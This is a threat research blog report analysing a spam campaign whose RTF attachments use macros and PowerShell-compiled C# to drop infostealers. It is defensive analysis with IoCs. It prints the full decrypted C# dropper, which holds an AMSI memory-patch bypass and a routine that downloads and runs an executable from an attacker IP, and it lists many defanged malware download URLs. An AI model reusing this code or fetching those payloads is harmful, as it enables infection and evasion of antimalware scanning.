Threat Research Report: Infostealers and self-compiling droppers set loose by an unusual spam campaign

Threat Research Report: Infostealers and self-compiling droppers set loose by an unusual spam campaign

Thanks to massive botnets, attackers can generate large-scale spam campaigns on-demand and immediately use them to spread malware. While digging through some recent spam campaigns that we have detected, it came to our attention that there was some unexpected usage of the C# compiler from the command line, as reported by our sandbox analysis (shown in Figure 1). Further investigation revealed that all these samples shared a common template and belonged to the same campaign: a spam wave distributing malicious RTF documents that acted as downloaders for well-known infostealers, such as Agent Tesla or LokiBot. Although not particularly advanced, the spam campaign leveraged a few interesting social-engineering tricks and infection techniques aimed at maximizing its infection rate.

C# compiler execution

Figure 1: C# compiler execution.

By tracking the usage of this specific technique used to bypass AMSI (Anti Malware Scan Interface (more details are discussed later), we managed to link this wave to another spam campaign other researchers at Talos have previously described , and, in particular, to one campaign known to be operated by the SWEED threat actor [1]. We also noticed a few variants, as well as a specific focus on the APAC region. In this blog post, we detail all these aspects, and contribute a list of extracted network IoCs, as well as a Python script to help extract additional IoCs from other samples. All material is published in our GitHub repository at the following address: https://github.com/lastline-inc/threat-research.

The spam campaign

As mentioned above, this spam campaign was not particularly advanced, but the techniques used, such as invoking the C# compiler (csc.exe) within PowerShell scripts, appear interesting enough for further investigation. Figure 2 shows over one month of our daily telemetry data associated with this spam campaign since mid-October last year. The activity peaked on the 17th of October, then the campaign took a three-week break before it was back in action  again until the end of the monitoring period. It turned out that more than half of the samples were

RTF samples spawning C# compiler

Figure 2: RTF samples spawning C# compiler.

only used once during the campaign: there were 79 unique hashes out of the 138 samples. Although multiple customers were hit by this campaign, there was a clear focus on the education sector within the APAC region. The emails themselves showed an interesting disparity among the targets affected by the campaign. For example, some email subjects were quite generic, which implies that attackers used the spam campaign to target the generic public. There were some cases where email subjects were customized to specific targets or events, aiming to maximize its infection rate. The table below lists some typical examples of these subjects.

Spam email subjects disparity

Table 1: Spam email subjects disparity.

The campaign used some common attack techniques, such as data obfuscation, VBA scripting, as well as more advanced adversarial tricks, like compile-after-delivery, as shown in Table 2. More details on the techniques used by this campaign will be discussed in the following section.

Tactics and techniques used by the dropper

Table 2: Tactics and techniques used by the dropper.

The RTF dropper

To investigate the attack further, we analyzed one of the RTF samples from the campaign, as shown in the table below.

The RTF sample being analyzed.

Table 3: The RTF sample being analyzed..

First, we uploaded the sample into our sandbox to quickly reveal the possible infection chain. Figure 3 illustrates the overview of the infection chain in a controlled environment. With a quick glance at the figure, one can tell that the infection chain involves a few interesting subjects, such as powershell.exe (subjects 3 and 8) and csc.exe (subjects 5 and 11). What caught our attention are the csc.exe subjects spawned by the PowerShell processes. According to Microsoft, csc.exe is the C# command-line compiler in the Microsoft .NET Framework, which can be called via cmdlet within the Windows PowerShell environment. To gain more insights on the infection chain and to understand how the techniques were used in the campaign, we investigated the selected RTF sample through manual analysis.

RTF dropper infection chain

Figure 3: RTF dropper infection chain.

Manually running the decoy RTF document in a VM launches Microsoft Excel, which then repeatedly pops up a window (as Figure 4 shows) asking for the activation of macros. This is probably an attempt to wear down a user’s patience to maximize the activation rate.

Activate macro pop-up windows

Figure 4: Activate macro pop-up windows.

Exploring the RTF file structure with Rtfobj [2] helps understand this behavior. As Figure 5 shows, the same OLE object (MD5: 557263dda89ddf1f2692edf5eb67cba3 as highlighted) is embedded multiple times in the RTF file.

The same OLE object is embedded multiple times in the RTF file

Figure 5: The same OLE object is embedded multiple times in the RTF file.

This implies that each embedded OLE object may be related to each popup described above. It comes down to the questions of a) how the embedded objects get loaded automatically, and b) what is inside the objects. To find out, we inspected the RTF document with a basic text editor, which gives us more insights into the file content, as shown in Figure 6.

RTF document viewed from a text editor

Figure 6: RTF document viewed from a text editor.

The figure shows multiple tricks (as highlighted) used to obfuscate the document content, which is common in attacks to bypass basic static analysis tools. It is worth noting the string \objupdate in the content. This is an RTF control word that can force an update to the object before displaying [3]. In this case, it can automatically load the embedded OLE object (Excel sheet) without any user interaction. The control keyword is used for each embedded OLE object in the RTF file. This explains why we see the repeated popups when the RTF file is being loaded.  This attack trick is not new, as it was already reported in early 2018 [4].

To find out what is inside the OLE objects, let’s focus on the embedded Excel spreadsheet. This is a typical weaponized document with an embedded malicious VBA macro. The macro itself is not complicated. What makes it hard to read is just the Unicode encoding, as shown in Figure 7.

Macro code obfuscated with uncommon Unicode characters

Figure 7: Macro code obfuscated with uncommon Unicode characters.

Basically, the macro reads hex-encoded content from a cell, and applies a Caesar cipher on it to get the decrypted PowerShell script. The PowerShell script is then executed using WMI.  Figure 8 shows the decoded PowerShell snippet, reported in the Lastline sandbox analysis.

Cleaned up fragment of the PowerShell script

Figure 8: Cleaned up fragment of the PowerShell script.

As highlighted in the figure, there exist a few operations:

  • Decrypting a XORed payload
  • Calling “Add-Type -TypeDefinition” on the decrypted payload.

Although quite short, the “Add-Type -TypeDefinition” instruction is the corner-stone of the whole technique. According to MSDN documentation (as shown in Figure 9), the Add-Type cmdlet allows one to compile C# on the fly, and then use it inside the script’s namespace. This explains the apparition of the compiler executable csc.exe. It is no wonder why the Add-type cmdlet is increasingly used in PowerShell payloads.

The MSDN documentation about the Add-Type cmdlet

Figure 9: The MSDN documentation about the Add-Type cmdlet.

Figure 10 shows a synthetic example of how the technique can be instantiated in a pure PowerShell execution environment. First, we created a C# class and added it to the PowerShell environment. Once the cmdlet gets executed, the process explorer window (from sysinternals tools) clearly shows that the PowerShell process spawns csc.exe (see Figure 11), which, in turn, starts cvtres.exe. These are interesting artifacts to monitor on a system, as PowerShell payloads get increasingly common.

C# class being added in a PowerShell environment

Figure 10: C# class being added in a PowerShell environment.

Process created during the Add-Type PowerShell execution

Figure 11: CProcess created during the Add-Type PowerShell execution.

In the original sample, this technique is applied to compile the C# code displayed in Figure 8. Strings and variable names were de-obfuscated for clarity:

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;
public class o7f936a {
       [DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr w_GetProcAddress(IntPtr t5fd898, string ld2fba);
       [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr w_LoadLibrary(string z9922a);
       [DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool w_VirtualProtect(IntPtr b88518, UIntPtr cbdba, uint g6cf68, out uint k98ce);
       [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void w_RtlMoveMemory(IntPtr y645c54, IntPtr w1ec2, int qfcdd);
       public static int g136c6d() {
       IntPtr TargetDLL = w_LoadLibrary("amsi.dll");
       if (TargetDLL == IntPtr.Zero)  {
              goto DownloadRoutine;
       }
       IntPtr AmsiScanBufferPtr = w_GetProcAddress(TargetDLL, "AmsiScanBuffer");
       if (AmsiScanBufferPtr == IntPtr.Zero)  {
              goto DownloadRoutine;
       }
       UIntPtr dwSize = (UIntPtr)5;
       uint Zero = 0;
       if (!w_VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))  {
              goto DownloadRoutine;
       }
       Byte[] Patch = {
              0x31, 0xff, 0x90
       };
       IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
       Marshal.Copy(Patch, 0, unmanagedPointer, 3);
       w_RtlMoveMemory(new IntPtr(AmsiScanBufferPtr.ToInt64() + 0x001b), unmanagedPointer, 3);
       DownloadRoutine:
       WebClient m68aa8 = new WebClient();
       string destPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\cdf6c5" + ".exe";
       m68aa8.DownloadFile("http://51.91.175[.]221/2/6508977.exe", destPath);
       ProcessStartInfo lf35495 = new ProcessStartInfo(destPath);
       Process.Start(lf35495);
       return 0;
       }
}

Figure 12: Decrypted C# payload.

This C# code is creating a class with a single method that the PowerShell instance will call later on. The logic can be split into two parts:

  • Memory manipulation centered around the “AmsiScanBuffer” function from “amsi.dll”. As one may guess, this is an AMSI bypass method. The code is very similar to the implementation shared in a blogpost from October 2018 [5]. The bypass mechanism itself has already been discussed and explained in length by many other researchers, thus we will not provide details here. The main goal of the evasion technique is to prevent AMSI from stopping the downloading/dropping execution, as well as to hide the network IoCs from potential monitoring tools.
  • The download routine is straightforward and is executed right after the AMSI bypass has been set up: it downloads a remote payload into the AppData folder, and executes it. Because our sandbox does not rely on AMSI interfaces, we are still able to extract the network IoCs and monitor the download activity.

Payload evolution across different campaigns

According to our observations, a tweet back in March 2018 [6] has mentioned similar payloads. They  then appeared over a few campaigns as reported by Bromium [7], Talos [1] and Yoroi, et al. [8-9]. Table 3 shows the evolution of the payload across various campaigns since March 2018.

The payload evolution since March 2018; green checks mean that the features appeared

Table 4: The payload evolution since March 2018; green checks mean that the features appeared.

As the table shows, the payload started as a quiet resilient downloader using PowerShell in a campaign in early 2018. Figure 13 shows a typical example from this campaign. As highlighted, one can easily spot both the AMSI bypass operation and the network IoCs.

PowerShell command line from the 2018 campaign

Figure 13: CPowerShell command line from the 2018 campaign.

Then the malware evolved with new obfuscation and detection-evasion tactics. To make the AMSI bypass trick and IoCs less obvious to both humans and detection engines, subsequent campaigns (since early 2019) have changed the underlying implementation from Powershell to C#. In the latest attacks detected in November 2019, we also saw obfuscated macro code encoded with Unicode characters, which makes the encoded macro harder to read and detect. While all samples are indeed related to each other (they embed the same document object repeatedly), there is a dedicated effort to hide the final payload URL by adding several obfuscation layers, a technique known to impair automated tools and parsers.

Conclusion

In this report, we demonstrated how cyber-criminals have leveraged various techniques to maximize the infection rate of their campaigns. As usual, the infection process starts with a spam campaign using phishing emails with malicious attachments (RTFs in this case).  As part of the endeavor to increase the opening rate for the malicious emails, the email subjects were customized to specific targets or events (as in Table 1). Then other interesting techniques were observed (as shown in Table 2), such as repeatedly showing popups to ask  victims to enable macro execution within Microsoft Excel (as shown in Figure 4). What is more interesting is the usage of the Add-Type cmdlet in PowerShell payloads (see Figure 8), which allows one to compile C# programs. As discussed earlier, this technique provided the attackers with great flexibility to bypass AMSI-related detection and carry out further malicious downloads. Given its effectiveness, we expect this technique to become more popular in weaponized PowerShell payloads. It is worth pointing out that all Lastline customers were well protected from this threat, as our sandbox does not rely on AMSI interfaces.

In addition, we also investigated the payload evolution over various campaigns since early 2018 (as Table 3 shows), which revealed different techniques used in each campaign. We can easily draw the conclusion that there have been clear efforts to make the attack harder to be detected over the course of campaigns.

References

  1. “SWEED: Exposing years of Agent Tesla campaigns”, https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html, accessed: 12/2019
  2. “Rtfobj”, https://github.com/decalage2/oletools/wiki/rtfobj, accessed: 12/2019
  3. “Rich Text Format (RTF) Version 1.5 Specification”, http://www.biblioscape.com/rtf15_spec.htm, accessed: 12/2019
  4. “Malicious RTF document leading to NetwiredRC and Quasar RAT”, https://www.zscaler.com/blogs/research/malicious-rtf-document-leading-netwiredrc-and-quasar-rat, accessed: 12/2019
  5. “How to bypass AMSI and execute ANY malicious Powershell code”, https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html, accessed: 12/2019
  6. https://twitter.com/DissectMalware/status/977087605719302144, accessed: 12/2019
  7. “Disabling Anti-Malware Scanning”, https://www.bromium.com/disabling-anti-malware-scanning-amsi/, accessed: 12/2019
  8. https://twitter.com/malwarefr0gg0z/status/1168821926174658560, accessed: 12/2019
  9. “Commodity Malware Reborn: The AgentTesla “Total Oil” themed Campaign”, https://blog.yoroi.company/research/commodity-malware-reborn-the-agenttesla-total-oil-themed-campaign/, accessed: 12/2019

Appendix: IoC extraction

We wrote a Python script to ease the extraction of network IoCs from samples similar to the one analyzed in this blogpost. The script takes the XLS document embedded in the RTF sample as input, and outputs the URL from which the payload is downloaded.

$ python extract_ioc.py -h
usage: extract_ioc.py [-h] [-v] input_file

Malspam network IOC extraction

positional arguments:
  input_file     File to decode

optional arguments:
  -h, --help     show this help message and exit
  -v, --verbose  Verbose mode

$ python extract_ioc.py ./607f0f0c2dc5ac0a1f2ca00c372f21d490d22806
http://legendceylontea[.]com/good.exe

SHA1 of RTF documents:

0382c5fc35fb68e752d619015dc6384bc1efe771
08378b509c3f992340b57dd1097143a9d87d6967
0916fc683705aaa95de6b6498b3971168e92bf1a
0aef936ee46462c72b69432cd7bdcded4c4e53c0
0d0bc2de087bb436b72cfe74377317a5ac25c3d5
0d2511da91bb78eaddf831d9051ffdbc6754af76
0f5abe9c0ecc8349af1a338d29867af6b799f0de
118f084dc18cc24b39f594444712fc9f110a46e9
1d6310a8a4547e97c29146641983d4f051738367
1dde94461cb4627efe3533925a85411dc223b284
2359974c125ab31e4a080a8a83ffac8d11213eac
32d30d2f107c45a726e417989c2db8295e2946e1
39b929ec10468786bcb777ef5113bf1e6b341f5b
46d08747dff794ed09b44dca7e796e37a54898ce
4ccc7861532f37c87099d5ff3f975f7aa6962f4c
4d24870976377e77bb5addb3af8cb2f8c6ba7a60
530916e992a80720dc98c614b188b54f63b05a57
532da5495abea3a269dc338904f396df6bb96219
56cb560566cd259c32c68766172b17c2930232f6
57a74e9895e10191690037f463b9045c32c6e488
5a853fe103c73b147aecd52d367a9a915d886a85
636552b7831c59ad63180710cb0ddbf5a1f8cdb7
649c093e6554faa9686f8483c8d51c61a5c181e7
69f7b608b9a7599ade8ae6dba5bccf46cacfc787
6a46c486a6b17fa436819116123bc9d8148346b9
6b7224d3ee53e41a6335e68210c2c4e31ec4f859
7188850f2c8262b3948f615fdd753d970a0af35a
71e7a1dd8ecb214bc47f0d696908edacccfc4bbb
824c2a8f9c6940987a5e028a10591282d7d1a3ae
82bde253f967cd3bb8c50dcba89f8710a25e2d3f
83efb23101faab789cff4854feb833b132b6ca60
8447da0cad91396098f7bcfb09d0df8cfa02c9ca
85c30221c9cab10b600a8c2effea3b4c4cd19030
88f2b398c7177db3c0b093a4d0483412836a88ff
8a2df4ae5c6284bcdd377e0b81a928431cf94056
8fa00ff452c2e6938cefbb916c3c269888e4e170
9d348af27aef3d5bc36274bbe670cf46e8421c0f
a1730a536474fbf263b2aebee9a0737009593035
aba721b32e6f244505037014897a8ff21e976272
abd319db8ebf7da1769d2f54554ce11e3abf8579
bb6b00aa4cb62d6580e8add365a66cf3cf36356a
bcea9b0ea0aa1396d185530dd27ec669ea79e470
be033539603c305e3f2204819c776f77fc9c9a52
c5d18d66c2adeba60c64c864a6df714ccde08565
c7733482f8626b7912f616385deeaa3d4b1f5be7
c8d8fe33448131957de629bb5b95bdc4d0bb05de
cd1c7f175812c8a6a6beda2800716d8d5c0cbb20
d253e4b96437147f0f8d8e551bbd8c1bcc9e3e8b
d3f97d0096807c86259db271a2ae0c14c0814ab3
d708c4e3b040872d1ee558a4ed123b6eaef04074
dd8447ec27feed29b21f9312193b2b60cd922798
e98d49ace0e0e28ae7a7d43cc5720333af34bdb5
fb4e6afc2b063bef3eb15f05398ddca67e816f7e
fced981739f17f6f73c33bfb3caee3ad50982725
ff4df1f42ceaf1c24f4c1de182d7fc2800901df9
ff5e28a30269ce1a786b6770e67dea1cb400b67e

Download URLs:

http://185.102.122[[.]]2/rrtn/Spencer crypt.exe
http://23.95.200[.]195/image/images.exe
http://35.181.60[.]96/7/23015889.jpg
http://35.181.60[.]96/8/09874.jpg
http://51.89.163[.]174/oxfd.exe
http://51.89.171[.]194/fV/08974100.exe
http://51.89.171[.]194/fV/08974100.exe
http://51.89.171[.]194/fV/100090.exe
http://51.89.171[.]194/fV/2602310.doc
http://51.89.171[.]194/fV/2602310.doc
http://51.89.171[.]194/fV/4605107.exe
http://51.89.171[.]194/fV/602909091.exe
http://51.91.175[.]221/1/0630261.exe
http://51.91.175[.]221/1/104962.exe
http://51.91.175[.]221/1/109780.exe
http://51.91.175[.]221/1/13025890.exe
http://51.91.175[.]221/1/20691102.exe
http://51.91.175[.]221/1/2130268.exe
http://51.91.175[.]221/1/5556091.exe
http://51.91.175[.]221/1/605501207.exe
http://51.91.175[.]221/1/807400002.exe
http://51.91.175[.]221/2/6508977.exe
http://51.91.175[.]221/2/77605339.exe
http://51.91.175[.]221/2/9607400.exe
http://51.91.175[.]221/2/980400.exe
http://51.91.175[.]221/2/bbin.exe
http://ameropa[.]cc/file/Arinze.exe
http://awaitingpickup[.]com/image/princ.exe
http://curly-yoron-0282.sunnyday[.]jp/blessing.exe
http://curly-yoron-0282.sunnyday[.]jp/DHL AWB.exe
http://curly-yoron-0282.sunnyday[.]jp/iykeman.exe
http://cutncurls[.]com/wp-content/plugins/akismet/overdue.exe
http://decodes[.]in/test/contents/riss.exe
http://decodes[.]in/test/contents/rows.exe
http://echaintool[.]info/ebu.exe
http://echaintool[.]info/meka.exe
http://echaintool[.]info/paclif.exe
http://fast-yoron-5181.fakefur[.]jp/sad/chime.exe
http://fbigov[.]website/oru/Arinze.exe
http://fbigov[.]website/oru/Noni.exe
http://fbigov[.]website/oru/Slimc.exe
http://fleetdesk[.]io/assets/img/ord.exe
http://fleetdesk[.]io/blog/cas.exe
http://kaburto[.]info/meka.exe
http://lamp.ernsintl[.]com/pp.exe
http://legendceylontea[.]com/good.exe
http://limefrog[.]io/aaaarang.exe
http://mrtool[.]ir/wp-admin/network/fern.exe
http://mrtool[.]ir/wp-admin/user/ord.exe
http://mrtool[.]ir/wp-includes/faye.exe
http://orbisksa[.]com/nnew/Henru.exe
http://pmmovies[.]it/new/wp-content/themes/ORDER1.exe
http://pmmovies[.]it/new/wp-content/themes/ord/Order Contract.exe
http://racetech[.]club/_output1210440.exe
http://racetech[.]club/_outputE59A07F.exe
https://abre.com[.]my/k/D.exe
http://salaritgs[.]com/wp-admin/sco.exe
https://aldinebrag.co[.]kr/order/Demand.exe
https://aldinebrag.co[.]kr/order/New_PO_48224242.exe
https://beirutkitchen[.]com/nnanoocto20.exe
https://komat[.]fr/wp/originall.exe
https://rossofuoco[.]com/Theme.exe
https://the.earth[.]li/~sgtatham/putty/latest/w32/PAYMENT_SWIFT_DETAILS.exe
https://theimporex[.]com/img/INQUIRY.exe
https://visiondrugs[.]org/new/Product.exe
http://turnkeycre[.]com/shege/Shege.exe
Quentin Fois

Quentin Fois

Quentin Fois is a Malware Reverse Engineer at Lastine. A casual CTF player, he also enjoys new technical challenges and deep diving into unknown mechanisms of OS internals. Prior to joining Lastline, Quentin worked at Airbus Cybersecurity as part of their Threat Intelligence team, actively tracking APT groups.
Quentin Fois
Jason Zhang

Jason Zhang

Jason Zhang is a senior threat researcher at Lastline. Prior to joining Lastline, Jason worked at Sophos and MessageLabs (then Symantec) specializing in cutting-edge threat research, and ML application in malware detection. Jason is a regular speaker at leading technical conferences including Black Hat and VB. Jason earned his Ph.D. in Signal Processing from King's College London & Cardiff University.
Jason Zhang
Stefano Ortolani

Stefano Ortolani

Stefano Ortolani is Director of Threat Intelligence at Lastline. Prior to that he was part of the research team in Kaspersky Lab in charge of fostering operations with CERTs, governments, universities, and law enforcement agencies. Before that he earned his Ph.D. in Computer Science from the VU University Amsterdam.
Stefano Ortolani